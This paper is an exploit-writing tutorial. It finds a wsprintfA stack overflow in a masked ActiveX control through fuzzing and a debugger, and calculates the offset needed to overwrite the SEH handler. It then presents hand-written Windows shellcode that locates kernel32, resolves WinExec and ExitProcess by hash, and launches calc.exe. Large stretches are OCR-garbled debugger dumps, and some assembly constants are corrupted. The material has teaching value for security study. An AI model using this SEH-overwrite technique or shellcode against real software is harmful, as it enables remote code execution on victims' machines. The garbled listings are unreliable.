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1. Abstract

In this paper, we are going to see an exploit which uses buffer overflow vulnerability in
an application to overwrite the SEH handler. This paper will outline all the steps
necessary to exploit such a vulnerability, from detecting the point of buffer overflow in
the application, to writing an exploit. The exploit uses an Activex control (XXXXX.dIl)
having buffer overflow vulnerability as a sample application, using this we can test out
remote buffer overflow exploit.

The only tools you need here are COMRaider, a Debugger, VC++ 6 IDE;
COMRaider is fuzzer tool for fuzzing interfaces of the Activex components in the
application, the debugger to find the actual location of the overflow and VC++ to write
the exploit code.

The steps we see here can be automated with various tools such as Metasploit but
to get a better understanding, all the steps are performed manually.

2. Detecting a Buffer-Overflow

The presence of a buffer overflow can be seen by an ACCESS VIOLATION message
when we run COMRaider against the Activex control

orm’
[Fsception Code: ACCESS _VIOLATION i
‘Disasm: 7CE09813 LOCK HADD [ECK].E2X (KERNEL32.d11)
|S=h Chain Here we can see the instruction that is causing
‘the access violation and also we can see that
sl ihe SEH chain has heen overwritten
iCalled From Returns To
|
|KERNEL32.7C809813 41414141
|Registers
|
|EIP 7C809813
|EZX FFFFFFFF 3
EBE 00000000 =
ECH 41414149 L
EDE 00000041
EDI 41414149
ESI 41414141
EBP O013EDD4 —» Asc
ESP 0013ECA0 —> O0F7COS7
Block Diss=senbly: 55 |
Api Log I
“““““ Installing Hooks ===
7c821afc  CreateFiled(C \WINDOWS \system32ysaenh.dil)
7o821afe  CreateFiet(C \WINDOWS \eystem32ysaenh dil)
Debug Stings
IV FKil hung Processes W Close Popups ™ Pause
¥ Delete duds ¥ Save only exceptions Begin Fuzzing
Image 01

The COMRaider tool injects random length string into the member of the interfaces of
the activex control (if they are fuzzable), in this case a string of length 1044 bytes was
entered which caused an ACCESS VIOLATION exception which was reported to the
COMRaider. This tool significantly reduces the time to detect a buffer overflow in an



Activex control. The image shows the location where the access violation occurred,
which is 7C809813.

3. Finding the Location of Buffer Flow

In this section we will see how to find the buffer-overflow in a debugger, this is
comparatively easy since we know the instruction that is causing the problem LOCK
XADD [ECX], EAX (from ImageOl) which is in the Module Kernel32.dll, now this
exception is access violation, we have to be careful about one thing and, that is, we need
to set our debugger such that this kind of exception is not absorbed by our debugger, if it
is absorbed then the exception point will not be reported, if everything works fine you
can the see the instruction high lighted in your debugger.

This instruction appears in Kernel32.dll and this dll will be loaded into process
space when the process is loaded into memory by the debugger this is done even before
the process begins execution, we know that the location of the exception causing
instruction is 7C809813. We can use the debugger to jump to this address location and
place a hardware breakpoint, this address will always be static, which is true for all
system DLL’s like ntdll, USER32 etc.

- [CPL - main thread, module kernel32]

@Fi\e View Debug Plugins Options  ‘Window Help - n"
Eled x| wnf wils $i3i W + L E|M|T|w]HE|e|s] K BR].s] =[]

Joe0ss0n) SB4CE4 04 MOV ECK,DWORD PTR SS5: [ESP+4] Registers (FPE)\,\

7 L[| BZ FFFFFFFF MOV _E. = [ Eix FFFFFFFF

FO:0FCLOL LOCK XADD DWORD PTE DS: [ECX] ,EAX LOCK prafix ECH 41414148

JCBOTE17| 48 |3 — |EpX 00000041

70802818 | C2 0400 BETH 4 EEX 00000000

70202218 | BD49 00 LEA ECX,DWORD PTE DS: [ECX] ESD 0012ECAD

JOENSE1E| SEACEZ4 04 Moy ECH,DWORD FTR 25: [EST+4] EET O013EDD4 ASCIT *

JCEnsszi| gEE4Z4 08 MOV EDX,DWORD PTE S5: [ESP+8] ESI 41414141

70802826 | 8BOL MOV EAX,DWORD PTR DS: [ECK] EDT 41414149

7808828 | FO:OFBLIL LOCK CMPXCHG DWORD PTR DE: [ECK],EDX LOCK prafix

7C20982C (178 FA JHZ SHORT kernel3Z_ 70209828 EIP 7C809813 kerndl3e.7C809813

SEEIEGED) | R EEED s ° 0 E3 0023 it 0{FFEFFFFF}
DECIOEER | B Eo I B 3Ebit O(FFFFFFFF)
TCE0GH32 | BE40Z4 04 Mov ECX,DUGED PTR S8: [ESF¥4] A0 85 0023 32bit O(FPFFFTEF)
JCEnsEis| SEE4Zd 08 MoV EDX,DWOED PTR S8: [ESP+8] Z 0 DS 0023 37hit 0(FFFFFEFF)
FCE0Ga3A| BE4424 OO MOV E&X,DWORD PTR S8: [ESF4C] &0 PS 003B 37bit 7PFDFOO0(FPE)
FCE09E3E | FO:OFELLL LOCK CMPXCHG DWORD PTR DS: [ECK], EDX LOCK prefix T o cs ooon monD
FCE0984z | CZ 0CO0 BETH OC Lo
SEEIEES)| 2 Eo 00 LastErr ERROR_SUCCEZS {00000000)
JCEnsEas | SE4CZ4 04 Moy ECX,DUGED PIR S8: [EST+d]
TCE0SE4h| BEB4424 08 MOV EAX,DWORD PTR 55: [ESP+E] &g | EFL 00000206 (WO, WE,NE, A NS, PE,GE,G)
EXA=FFFFFFEF ST0 empry -UNOEM ECEC 010E0104 00000000
DS: [41414148]=527 ST1 empty 0.0

$T7 empty 0.0

ST3 empty 0.0
Address |Hex dump ASCII 1000C057 [RETURN to SEESERWR 1000COST from kernsl32. I s

41414143
—|0013ECAS| 0OL3EDEF|ASCIT »
O0LZECAC| OO0FE2340|ASCTT “"defaultW"

O0LZECED| 10004DF<|RETURN to NN 10004DF< from (NN 1
O0LZECE4 | 00000000
Q0OLZECE2| 00le&FOd
00L13ECEC| 10025CE0 |1 002 5CEO
QOLZECCO( 746326350
OOLZECCY | E46ET7E7E
NO0LZECCE| &CA4E6F
OOLZECCC| ZC2LlEBel
00L3ECHO| 202C3lz0
QOLZECDd [ <£1414141
O0L3ECHS| 41414141
OOLZECDC| 241414141
OOLZECED|( 41414141
OOLZECE4| 241414141
QOOLZECES| <1414141
O0L3ECEC| 41414141 B
QOOLZECFO( 21414141
OOLZECF4( 41414141

b O01ZECE 4ldldldl b
| | Paused

0l018000|00 01 0l 00|0L 00 00 00|56 43 EZ OE|A% Be 1D F4|.00.0...VI&0EqO8
0l018010|E0 FC 13 00|00 00 00 00|00 00 00 00|00 OO0 00 i
0101%0z0|00 00 00 01 |C4 0% 00 00|04 00 00 00|48 55 15
0l013020|FF FF FF FF |00 00 00 00|00 00 OO 00|00 OO0 00
0l0130<40|00 00 00 00 |E4 3E 00 01|00 00 00 00|00 OO0 00
0l0130E50|00 00 00 00 A4 3B OO0 OLl|Z0 15 00 Q1|05 00 00
0lD1%0s0|28 14 1& 00| E4 3B 00 01|00 00 00 0O(00 OO 00
0101%070|00 00 00 00 (a4 3B 00 01|63 1E 00 01|05 00 0o
0101302020 15 l& 0O0(F4 3B 00 01|00 00 OO 00|00 OO0 00
01013030 |00 00 00 00 (A4 3B 00 01|C4 3B 00 01|05 00 00
0l0l30A0|20 14 l& 00|04 3C 00 01|00 00 OO 00|00 OO0 0O
0lD1S0EQ|0O0 OO 00 00 A4 3B 00 O1l|D4 3B OO0 01|05 OO 0O
0l0130C0|De 14 l& 00|00 00 00 00|00 00 00 00|00 00 00
0l01%0p0|00 00 00 00|00 00 00 00|00 00 00 00|00 OO0 00
010130E0 |00 00 00 00|00 00 a0 00|00 o0 00 00|00 oo oo
0l0130F0|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00
010131a0|00 00 0o 00|00 00 a0 00|00 o0 00 00|00 oo oo
0l013110|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00
0l0181z0|00 00 00 00|00 00 00 00|00 00 00 00|00 OO0 00
0l0131z0|00 00 00 00|00 00 00 00|00 00 00 Q0|00 00 00
0l013140|00 00 00 00|00 OO OO0 00|00 00 OO0 00|00 00 00
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As we can see in the above snapshot the registers ECX, ESI are overwritten. And we can
see that in the instruction

LOCK XADD [ECX], EAX

ECX is being used to address into the Segment pointed to by DS segment register. Hence
from this we can conclude that we can overwrite any 4 byte location with in the DS
segment with a -1. This in itself may lead to some serious security issues. But we have an
easier method to exploit this vulnerability which is by overwriting the SEH handler.

Returning to the issue, the instruction when executed will lead to a
ACCESS VIOLATION exception, which can be handled by a registered exception
handler, the record for these exception handlers are kept in the stack and most probably at
a higher Stack location which makes them vulnerable to stack overflow, These SEH
records are kept in the form of a chain, the top-most being the user registered exception
handler if any handlers are registered by the user. And the last one points to Exception
handler with in the Kernel32 module.

4. Finding the Cause of Buffer-Overflow

The previous section shows us the point where the exception is generated, but fails to tell
us what is causing the exception, so we have to trace back to the point where the function
Kernel32.InterLockedDecrement was called which contains our exception causing
instruction.

Since we are doing this manually, we can look into the stack which is used to
maintain the activation records, the latest record will contain a Call return address of the
instruction following the call to the function InterLockedDecrement.

ETZ empts 0.0
ETZ2 empt- 0.0

Al OO1L=ZEC20 OO1ZECA4

— ool DES | M. 100040 ES
DOLl2ECSC| O01lZECCO CcIT " 1, 1, AbAARARBBARALLDD
SECAD 1o00Co57 |RETURN o . 1 O000C057 from kermnelzZ=z_ I

[T zmrna | al41a1-45
OD1ZECAZ| OOLZEDEF (ASCII "AAALAABLARBBARBRARBAABRARBRRoBRRblil
O01ZECAC| OOFEZ340 |ASCII "defaultW"

OO1ZECEC| 10004DF4 |RETURM to . 1 0004DF4  £ron [Py o 1
O01=ECE4 | 00000000
OD1ZECES | O0l&sFO4
OO1ZECEC | 10o0zs5CEC (THEE - 1C00=5CEQ
O01ZECCO| 74836350
O01lZECCE | 54657275
OO1ZECCS| ECE94E65F
OO1lZECCC| ZC312865
O01=ECDO| =ZOZC31Z0
ODO1ZECD | 41414141
ODO1lZECDS| 4141414l
O013ECDC| 41414141
OO1=ZECED| 4141414l
OO01ZECE4 | 41414141
Im ] ECH = T I T ™ I T |

+

OO1ZECS OO1ZEDD4 [ASCIT “"AARLDLLOBAMARLBOlBRARR Bl RRsonabhisanng

Image 03




As we can see here 1000C057 is the address that we require. Now let’s move to that
address

- [CPUI- main thread, module CameraEx]

@ Fil= ‘“iew Debug Plugns oOptions ‘Window Help

TR EE = =y
Bl x| wn| wE+] ¥ A+ L[E[M[T|w/H[c[/[K[B|R]..[5] E[E]7?]
1000C0zE | 85C0 TEST EAX,EAX | Registers (FPU
loo0c0zF | 8808 MOV DWORD PTR DS: [ESI],EAX B EEEEEEE
10000051 |75 10 THZ SHORT SENSSSN. 1000C043 AR AANAND)
10000033 | 394424 08 CHP DWORD BT S8: [ESP+8], ERX TER?. ERETEE.
1000C037 |, 74 0A TE SHORT ‘e 1000C043 o —
10000039 | &8 0EQ0O7S0 PUSH S007000E EP DINERERD
1000C03E | ES 84860000 CLLT S . 10012507 TP ONSEnDS ACEEE DA
l0o0C043 | EECE MOV E&X, EST = |
1000045 | SE POr ESIT TR OANATD
1000C046 | 2 odan BETH 4
1oo0cods | se PUSH EST EIF 7CE09813 kermel3z.’
1000C043 | SEFL MOV EST, ECH €0 ES 0023 3zbit O(F:
1000C04G | 57 FUSH EDI Pl CE 00LE 22kit O(F
10o0c04n | D7E| 08 LEA EDI,DWORD PTR DE: [ESI+81 40 55 0023 37hit O(F
looocoso) 57 FUSH EDI 2 0 DE 0023 3zbitc O(F
1000C0EL | FFLE| E4500210 |EALE DWORD PTR DS: [<4EKERNEL32. Interlockdkernel3Z. Interlockedbecreusnt 360 oS OER core T
lom0c057 | E5CO TEST EEXE T O B OIE DD
10000058 |75 16 THz SHOR .- 1000C071 D @
1000C0SE | 85F6 TEST ESI,BSI D0 Rroor EERTE GUE)
1000C08E |, 74 0E TE zHORT N, 1000C05D -
1000COSF | SECE MOV ECK, EST | EFL 00000205 (NO,NB,NE
STO swpty -UNOEM BCEC 1
STl eupty 0.0
STZ empty 0.0
ST3 ewpty 0.0
Address |Hex dump | 0013ECS0] 0013ECARY
0l019000{00 01 OL 00|01 O0 OO0 00|55 43 Ez OB |AS Be 1D 0013EC34) O0L3EDDd | ASCIT "ARAAAARALARAARAAAARRAL
01015010|E0 FC 13 00|00 00 00 00|00 00 00 00|00 00 00 —|Po13ECSE| 10004DES | e 10004DES
0l019020|00 00 00 0L|c4 0% 00 00|04 OO0 OO0 00|48 55 15 OO0L1SECSE] D013ECCO|AECIT " i1, 1, i
01019030|FF FF FF FF |00 00 00 00 00 00 00 00 (00 00 00 PRREFpIN] L000COS7 RETURN o {1 000C057
01015040|00 00 00 00(B4 3B 00 01|00 00 00 00|00 00 00 00|..._°; O .._. COLEHENS | SLaalE)
0l019050{00 00 00 00|A4 SE 00 0L 20 15 00 0L (0S5 00 00 00(....®;.0 O.00 O012ECAS) O0L3EDEF | ASCIT "ARAAAARLARLARAAALRRAL
0l019060(26 14 16 00|E4 B 00 0L 00 00 00 00 (00 00 00 00| (00.&;.0...... O013ECRC, _O8P52340 LICIT "defaulti"
D1013070(00 00 00 00|&4 3B 00 OL 68 LE 00 01|05 00 00 00....x;.OROD.OO. 9013ECED| L0004DF4 TERURN co QUMM L0CO4DFS
0l019080(30 15 16 00|F4 SE 00 0L 00 00 00 00 (00 00 00 00 |000.&;.0..... 0O1ZECE 4 [ DIMeaateT
0l019050(00 00 00 00|A4 3B 00 0L |C4 3B 00 0L (05 00 00 00(....=;.04;.00 OO13ECES) O0LEEFOL
01019020(80 14 16 00|04 3C 00 0L 00 OO0 00 00|00 00 00 00 |e00.0<. 0. . ... 0013ECEC| 10025CE0 | KNI SCE0
cpnernllon oo o onllan e oo o e e o oo lloe oo o o - nf - on 0012ECCO| 74638950
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At this address we can see that there seems to be nothing that can cause a buffer-overflow

so for the time being we move down to the next activation record that points to
10004DF4.

At 10004DF4, by scrolling further up we can see that at address 10004DD7 there is a
reference to function wsprintfA which is know to be a function vulnerable to buffer
overflow attack and requires further investigation.

The function wsprintf according to MSDN:

The wsprintf function formats and stores a series of characters and values in a
buffer. Any arguments are converted and copied to the output buffer according to the
corresponding format specification in the format string. The function appends a
terminating null character to the characters it writes, but the return value does not
include the terminating null character in its character count.

IpOut

[out] Pointer to a buffer to receive the formatted output. The maximum size of the

buffer is 1024 bytes.
IpFmt

[in] Pointer to a null-terminated string that contains the format-control

specifications. In addition to ordinary ASCII characters, a format specification



for each argument appears in this string. For more information about the format
specification, see the Remarks section.

[in] Specifies one or more optional arguments. The number and type of argument
parameters depend on the corresponding format-control specifications in the
IpFmt parameter.

- [€PU - main thread, module Camerakx]

IE File Wiew Debug Flugine Options  Window  Help

B x| w1 w4 W ] LIEMT|WH| ¢/ |K|B|R|..|8] iZ[if]?]
oooanCa oo OR—Fda M| Dacristers (FPI
10004DCE | E6 DUSH E&I Ei¥ FFFFFFFF
jo004pce | 50 PUSH EAX ECK 41414149
10004000 | FR7E 10 PUsH DWORD BTE S8 [EBDH10] EDX 00000041
{0004000 | SDE5 ECFEFFFF | LEA Ei, DUORR PTR S8: [EBR-114] | gex¢ 0oODOOOR
10004006 | FF75 OC FUSH DWORD BTE 38: [EBRtC] ESD OOLIECAD
10004003 | &8 00ARDZ1O pUsH JOES 1002400 ASCIT ' (:d, 4, |%s, s} |gpp golsEDDe asc
100040DE | 50 DUSH EAX EST 41414141
{000400F | FFAS AS520210 |CALL DWORD PTE DE: [<&USER32.wsprinth>](@ EDT 41414148
10004DES | SB4D 18 MOV ECH, BUORD PTE S8: [EBP+18]
10004DES | 83C4 18 ADD ESP, 18 15109 FHETERILY Ly=rmy
10004DEE | 3ECB CHMP ECX,EEX C O ES 0023 32bi
100040ED |, 74 08 JE SHORT e 10004DF7 F 1 C3 00LE 37hi
10004DEF | EZ ££720000 CALY ey 1000043 L0 S5 0023 37hi
100040F4 | 8950 18 MOV GUORL PTRE 55: [EBP+18],EBX =0 DE 0022 2%7hi
OO0O30F 7 oBal EC A KT, IIED T 557 [EEF=T&] 20 F2 Q03B 3Zbi
10004DFL | 3ECB CHMP ECX,EEX T O GE 0000 UL
10004DFC |74 05 JE SHORT (s 10004E03 D @
100040FE | EE 4£720000 CALL et 10000045 00 LastErr EROC
10004E03 | 8085 ECFEFFFF | LEA E&X,WORR PTR S8: [EEE-114]
10004803 | 50 FUSH EAX o | EFL 00000206 (N0,
ST0 enptyw —UNOBEM
ST1 enptw 0.0
2TZ ewpty 0.0
ST2 empty 0.0
Address |Hex dunp ASCIT O0132ECA4
01019000|00 01 01 o0foL o0 00 00|56 49 Ez OBE|&9 BE6 1D F4|_0O0.0. . . WIAOEADS 0013EDD4 | ASCIT "ARAAAAAAAALAALLI
01019010 (B0 FC 12 00|00 00 00 00|00 00 00 O0(00 00 00 01 (%40, _._._...... i} 10004LE L | e
01019020|00 00 00 OL|C4 09 00 00|04 00 00 00|48 55 15 00|.._0&. . .O.. . HO. 0013ECC0 |ASCIT " M |
0LOL5020|FF FF FF FF|00 00 00 00|00 00 00 00[00 00 00 00 [$He. e een. ceen. 1000C057T | RETURN to A - 1000
01015040|00 00 00 0O0|B4 3B 00 01|00 00 00 00[00 00 00 00| ...7;. O........ 41414149
0101305000 00 00 00| &4 3B 00 01|20 15 00 01|05 00 00 00|_...m; .0 O.00... i
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As mentioned there the maximum buffer size for this function is 1024 bytes, so it is
capable of overwriting that many bytes in the stack depending on the inputs given to it. If
the buffer allocated for accepting the formatted string is less than 1024 bytes, it will cause
an overflow.

Next step is to set a breakpoint at 10004DDF which is the call to Wsprintf function and
restart the application.



In image 06

main thread, module Camerakx]

@File view Debug Flugine Options  Window  Help

Image 06

string which extends up to 0013EDBC which is 256 bytes

Bl x| w[n] s+ ¥ ] 4 L[E[M[T|wE|c[/[E[B[R].[s] =[iE]?]
10004DCZ | ES AF720000 CALL S 1000C076 # | Rewgisters (FPUY
10004DC7 | BE 02 IMP SHORT il - 10004DCE ) IFE3ooTsxzED
10004DC8 | 3300 HOR BAX, BAX B OOFE4SDD
10004DCE | 56 PUSH EST e
10004DCC | 50 PUSH EAX & oooooooo
10004BCD | FRTE 10 PUSH DUORD PTE S8: [EEP+10] FiP 00L3ECSC
10004000 | SDEE ECFEFFFF | LEA EAX,DWOED BTR S8: [EEP-114] P CRRerERn
10004D06 | FF75 OO PUSH DUOED ETR 88: [EEP+C] BST OOFE2340 ASCTI "defaultd
10004DD3 | £3 00AA0Z10 pUsH N 10024800 A2CIT " N 3, 34, %=, #=)0 |EnT oo13EDEF
10004D0E | 50 PUSH EAX
FFLE AE520210 | CALL DWORD PTR DE: [<4USER3Z. wsprintfis] |[TSERSS meprint 4 err 10004pDF (R 100040
10004DEE | SB4D 18 MOV EC,DWOED BTR S8: [EED+12] C 0 ES 0023 32bit O(FFFEFFFE
SEEDIELS) | EEE 4 ADD ESP, 18 F O 0% 001B 3Zbit 0(FFFFFFR
SEEDISHS | D CHEREEX AHEX & 0 55 0023 3Zhit O(FFFFFEF
10004DED |74 08 JE SHORT NSl 10004DF7 Z 0 DS 0023 32hic O(FFFEFFT
10004DEF | BS 55720000 CALL i 1000C043 5® §O G oEes TR
10004DF4 | 895D 18 MOV DWOED PTR £8: [EEP+18], EEX e
10004DF7 | SB4D EC MOV EC, DWORD BTR 88: [EEP-14] oo
SEEDISEY, | S CHEREEX AHEX 00 LastErr ERROE SUCCESS (
10004DFC |74 05 JE SHORT Semsewwwie 10004E03 -
10004DFE | BZ 46720000 CALL fmmmpeewiw. 1000C043 | BFL DO0D0DZOZ (MO, HE HE, A NS,
DS: [10025245] =7E4148AD (USER3Z wsprintfd) STO empoy -UNOEM DOAZ 010501
ST1 empty O.
STZ empty 0.0
5T3 empry 0.
Address |Hex dump al[oo1zECS0| ooooooon
0101%000(00 01 OL 00[0L OO0 00 O0|AE AZ C® EF|E4 5C 37 A0|. o RGOS
01015010|E0 FC 13 00|00 00 00 00|00 00 00 00 00 00 00 01 —|onisEcss | sepszaEs]
0101902Z0(00 00 00 0l |C4 OF 00 00(04 00 00 00|48 55 15 00). EIRETFHD
01019030 |FF FF FF FF 00 00 00 00|00 00 00 00|00 00 00 00 IS0 AEEYIE6
01015040 |00 00 00 O0|E4 3B 00 01|00 00 00 00 00 00 00 00f. COREHEND) | EOUEmEEL,
01019050|00 00 00 00| A4 3B 00 01|20 15 00 OL|05 00 00 o0f.._. (ERSHEG)|| AT,
01013060|z& 14 16 00 E4 3B 00 01|00 00 00 00|00 00 00 00 % CESIEES
01019070(00 00 00 00|A4 2B 00 01|62 LE 00 OL 05 00 00 00|.... @ EEEEESAD “defaultV"
0101508030 15 16 00|F4 3B 00 01|00 00 00 00 00 00 00 00 EDIERED
0101309000 00 00 00|A4 3B 00 0O1|C4 2E 00 OL 05 00 00 00f.... CERETHEED) | COLEES
0101504080 14 16 00|04 3C 00 01|00 00 00 OO0 00 00 00 00 O013ECEC| 10025CEQ | dwmwwwif®. 10025CB0
010150EC |00 00 00 00| A4 3E 00 01|D4 3E 00 OL 05 00 00 00f....m;. COREHEED| CONEHED
atarancalne 14 1c Anlan an an naloa feoAe Aalan O013ECCE | 00000000

we can see that the location 0013ECCO is chosen to output the formatted

Image 07

. - -
OOl1lzEDREDQ aoooooo0
OO01=ZEDE4 [ninininlnlaiu}nl
| o= FRER el O0ooooao
OO01ZELEC aOgOooooo
[T E L OFEZ302
OO01ZEDC4 O0]1=SECEL
1=ZEDCE ODO12Flac | Pointer to mext 5SEH recor
SEDCC 1O00ZZE42 | SE handler
OO1=ZEDDO Oo00O0OO0Ox
OO01ZED D4 OO1=ZEEOQO
OO01ZELD = F?L1LIECD2 | RETURN +to OLEATOTZZ .  77135CD32
OO01ZEDDC OOFE1FCO
OO1=ZEDEO aooooool
OO01ZEDE4 aooooool

As shown here, right below the end of buffer in image 07 (above it when their positions
are considered in terms of stack layout). We can see a SEH record and using olly we can
verify that it is the topmost SEH handler as shown below.



- [SEH chain of main thread]

@ Fil= “wiew Debug Plugins ©Opiions wWindow
=R IEIA IR HEH
]  SE R =nd e

ol EDC = A 1 CE=SEA S
OE1SFFER| kerne L32. FCES2SACE

Image 08

Now if we can overwrite beyond 0013EDBC we can overwrite the SEH handler
record. We found out that the length of string that is needed to reach the SEH record is
256 bytes + 8 bytes including the 0013EDCO0 and 0013EDC4 (shown in Image 07) which
have no relevance but needs to be overwritten to reach the SEH record.

So in total we need to write 264 bytes of data.

s 0O01ZECE4 oooooooo | oo o
T i=Z|0013ECES OolesaFo4 |Ood.
— JO01ZECEC looz5CEO | °O0
aolzECCO
OO01Z2ECCS
OO012ECCE
OO013ECCC
OO013ECDO
O01=Z2ECI< 41414141  Annb
OO1ZECDS 41414141 | AbdE
OO1Z2ECDC 41414141 | Abbhn
OO1=ZECEDQ 31414141 | Abdbhn
OO013ECE4 L I I T I
nOalT2"CE= A1Td1T4141 Dood
Image 09

Here we can see that another string is being printed at 0013ECCO which spans 20 bytes.
Hence the attacker controllable buffer is 264- 20 which is 244 bytes. And another 8 bytes
to overwrite the SEH handler record.

Now we have all the data required to write our own exploit.

5. Writing the Exploit Code

Since this is a remote exploit we want it to be reliable. Hence we want a code that doesn’t
require hardcode addresses, that is, it is capable of searching and retrieving the required
functions and running them with proper arguments.

The exploit code being used here does a very simple task of

1. Searching for the kernel32 base address in memory
2. Finding function with in the kernel32 using its export table



3. Executing the functions with proper arguments

The only functions being used in the exploit code is WinExec and ExitProcess. This is a
fairly simple code that searches opens the windows calculator application and then exits
the process.

The ideas for this shellcode are taken from the article “Understanding Windows
Shellcode” by skape.[1]

The code uses the TOPSTACK technique simply because it is the lightest at 25
bytes to get the base address of kernel32. The technique starts by fetching the TEB
address which can be found at fs:[0x18] and then fetching the address to the TOP of the
stack for the current thread and then going Ox1c bytes into the stack where we will find
an address that always points somewhere inside the kernel32.

Here’s the shellcode:
Xor esi, esi

mov esi, fs:[esi + 0x18]
lodsd

lodsd

mov eax, [eax - OxIc]

The code above shows the technique to recover kernel32 address mentioned above.

find_bottom_loop:

dec eax

XOr ax, ax

cmp word ptr [eax], Ox5a4d  // Look for Dos header Starting point "MZ" String
jne find_bottom_loop // this will be the base of Kernel32 base address
mov ebp, eax // here the base address of Kernel32 function

jmp find_function_finished

The loop here is used to get to the base address of kernel32 by searching for the MZ
string, since the address we got from above is somewhere inside the kernel32.

// Part to get the Api name

api_find:
mov eax, [ebp + 0x3c] // skip over Dos header
mov edx, [ebp + eax + 0x78] // skip over Move to Export table address
add edx, ebp // make it absolute by adding it base address
mov ecx, [edx + 0x18] // get the no of items count
mov ebx, [edx + 0x20] /I get Export names table
add ebx, ebp // make it absolute

find function_loop:
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jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
XOr eax, eax
cld
compute hash again:

// compute hash for the name pointed to by Export name table

lodsb

test al, al

jz compute hash_finished

ror edi, Oxd

add edi, eax

jmp compute hash again
compute hash_finished:

cmp edi, [esp+0x04]

/I compare it with stored hash value (ExitProcess) that we gave

jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cX, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
ret

find function_finished:
push 0OxOE8AFE98
call api_find
XOR EBX,EBX
PUSH EBX
PUSH 0x6578652E
PUSH 0x636C6163
PUSH 0x5C32336D
PUSH 0x65747379
PUSH 0x735C5357
PUSH 0x4F444E49
PUSH 0x575C3A43
MOV EBX,ESP
PUSH 5
PUSH EBX

// fetch ordinal table

// make it absolute

// move the ordinal value form export table
// offset of address table

// make it absolute

// extract address

// this contains the hash of WinExec string

11



call eax /I Calling WinExec

add esp,0x0c

push 0x73e2d87¢ // Hash of ExitProcess
call api_find

call eax // calling ExitProcess

The code uses the hash values of the string (“WinExec and ExitProcess”) to search for
the functions in Export table, these hash values use less amount of memory to store
compared to storing whole strings in our shellcode. The hash is stored in 4 bytes.

The Code that computes the hash is given below:

char sym[]="WinExec";
unsigned long int hash;
__asm
{
lea esi, DWORD PTR sym
xor edi, edi
XOr eax, eax
cld
compute hash again:
// compute hash for the name pointed to by Export name table
lodsb
test al, al
jz compute_hash_finished
ror edi, Oxd
add edi, eax
jmp compute hash again
compute hash finished:
mov hash,edi

}

This shell code is divided into functions:
1. Function to find Kernel32 base address.
2. function to find a given API

Because of this arrangement we can add to rest of the code without any problems and
without using any hard coded addresses.

Now the next step is get the object code for code here, for this we need to create a

executable of our shellcode by making it a complete program complete with a Main
function and then compile it. Now the executable created has to be opened in a debugger.
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Ohejei Code ths

at needs io he recoverd

OllyDbg - Shellcode PEB.exe main thread, module Shellcod]
@Fi\e Wiews Debug  Plugine  Options  Window  Help - a x
Bl x| w[n] w3 L A +f LlE[M[T[w]H]c][/]K[B[R]..
oo4oi00s] 5B PUSH EDT ~|reqisters (rom
00401006 | . 33Fe HOR ESI,EST TR s
00401008 | . 64:8B76 16 MOV ESI,DWORD PTR FS: [EST+18] =l gcx oo12rERa
DDITE | - 2D WU DL DR DS JEE) EDX 7C90E4F4 ntdll KiFastdystemCalllet
00401000 | . AD LODE DWORD PTR DS: [ESI] EEX 7TFFDEOOO
0040100E| . 3B40 F4 MOV EAX,DWORD PTR DS: [EAX-1C] ESD DOL3FFCA
00401011 | > 48 DEC E&X o EOREHERS
00401012 | . 66:33C0 HOR AX,AX EST FPFFFEFT
00401015 | . £6:2132 4054 |CHP WORD PTR DS: [EAX],G4dD R SREONGRED Sl JECNEERD
00401014| %75 FS JNZ SHORT Shellced.00401011
0040101C| . SBES MOV EBP,EAX EIP 00401100 Shellcod.<ModuleEntryPeint
0040101E| . EE 44 JHP SHORT Shellcod.O0401064 C 1 ES 0023 32bit O(FFFFFEFF)
00401020 |4 S8B45 3C MOV EAX,DWORD PTR S8: (EEP+3C] PO S O0LE 32bit 0{(FFFFFEFF)
00401023 || . sE5405 78 MOV EDX,DWOED PTR S8: [EEP+ELXH7S] L0 S8 0023 3Zkir O(FFEFFEFF)
DEETAGET || - TS D 1B Z 0 DS 0023 3Zbit 0{FFFFFFFF}
00401023 || . #B4a 18 MOV ECX,DWORD PTR DS: [EDX+18] % 1 FS O003B 37hit 7RFDDOO0(FFE)
oo4orozc || . sESA Z0 MOV EEX,DWORD PTR DS: [EDX+20] 70 E COUD IR
0040102F || . 030D DD EBX,EEF ® @
oo401021 || >, 22 21 FIECKE SHORT Shellood. 00401064 00 LastBrr ERROR ALDREADY EXTSTS (0000
00401033 || . 43 DEC ECX - -
oo4o0l0zd || . =EB342B MOV ESI,DUORD PTR D3: [EEX+ECK*4] o | EFL 00010283 (NO,E,HE,EE, 5,P0,L,LE}
STO empty -UNORM DLDE 01050104 00000000
The shellcode is highlighted here 3T1 empty 0.0
5TZ empty 0.0
ST3 empty 0.0
[ [ ASCIT B 7C:17067|RETURN to kernel3z.70817067 ~
00406000 (00 00 00 0000 00 00 00[00 00 00 OO[1F 26 40 00|............ D& CELSITEED)|| PESREETS)| Faeil. HEENGEDE
D0408010(00 00 00 00(00 00 00 00|00 00 00 00|00 00 00 00|. .. ... ._._...._ EOISTLED|| SRR
00408020(00 00 00 O0(00 OO0 00 00|00 00 00 00|00 00 00 0O|... COLSTERD|| PO
D0405030(57 69 6E 45(78 65 63 00|66 1z 40 00|0L 00 00 00|WinExec. fOR.O. .. BENSTES|| EOSEIEG,
00408040(05 00 00 CO|OE 00 00 00|00 00 OO0 00|10 00 0O i CELSERE)|| EELHES
00406050 (04 00 00 00|00 00 00 00|96 00 00 CO|04 00 0O A BENSITENE|| BUEAEED
00408060 (00 00 00 00|SD 00 00 CO|0& 00 00 00|00 00 00 CRLSHLD|| SEREIT| B0 @F Sl chedks
00408070(2E 00 00 CO|08 00 00 00|00 00 OO0 00|8F 00 0O COLSTETS|| PEEERED B8 remeies
00408080 (08 00 00 00|00 OO0 OO0 00|30 00 00 CO|08 00 0O EOISTEED|| FESLYD)| Lammmel o, FEalauD
00408080 (00 00 00 00(SL 00 00 CO|08 00 OO0 00|00 00 0O COLSETEE)| CEEy
00406040(92 00 00 CO|08 00 00 00|00 00 00 00|53 00 0O o2, S EEC] 00000000
DO4080E0|08 00 00 00|00 00 00 0O0|0% 00 OO0 00|07 00 0O .o CELSELY|| EHRED
e 00L3FFFE| 00401100 8hellcod. <HoduleBntrvPoints

fmage 10

